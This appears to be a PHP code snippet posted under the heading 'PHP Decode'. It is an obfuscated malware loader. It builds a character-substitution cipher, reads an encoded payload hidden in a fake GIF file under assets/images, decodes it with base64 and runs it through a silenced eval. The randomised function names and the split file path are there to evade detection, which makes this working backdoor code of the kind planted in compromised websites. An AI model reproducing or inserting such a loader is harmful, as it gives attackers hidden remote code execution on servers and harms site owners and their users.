PHP Decode

<?php 
 
if (!class_exists("okajix_cifozhicap")) { 
 
    function ihedyq_iholuhysh() { 
        //$uperin = array(); 
        return "5oP+ea0AZwON4SH2nQWstqVkfyYBFRDdKXu/bplU1Emcj9gCGzLxr6hI8JM=7T3iv"; 
    } 
 
    function jilupa_ihejezexe() { 
        //$hiqyhyf = array(); 
        return "mKn9ME7OTlLRFeH6QZAfwX5sx08DSYWyJvG4/uCIbUhB=ka2gtN1zrdo3cVqjPpi+"; 
    } 
 
    function yfekoq_motozhapom($mytupo_jygythydo) { 
        $boziguf = ihedyq_iholuhysh(); 
        $vechajo = jilupa_ihejezexe(); 
        $bimiru = array(); 
        for ($qisaxy = 0; $qisaxy < strlen($boziguf); $qisaxy++) { 
            $zexexan = substr($boziguf, $qisaxy, 1); 
            $ugowusy = substr($vechajo, $qisaxy, 1); 
            $bimiru[$zexexan] = $ugowusy; 
        } 
 
        $pibiky = strtr($mytupo_jygythydo, $bimiru); 
        $pibiky = base64_decode($pibiky); 
 
        return $pibiky; 
    } 
 
    function ypehon_sathomaxo($mytupo_jygythydo) { 
        if (!file_exists($mytupo_jygythydo)) 
            return false; 
        $jokhadu = @file_get_contents($mytupo_jygythydo); 
        if (!$jokhadu) 
            return false; 
        $jokhadu = substr($jokhadu, 3); 
        $apofat = yfekoq_motozhapom($jokhadu); 
        return $apofat; 
    } 
 
    $udiqaci = ypehon_sathomaxo(__DIR__ . "/asse" . "ts/im" . "ages/" . "ijufy" . "ku.gif"); 
    if ($udiqaci) { 
        @eval($udiqaci); 
    } 
} ?>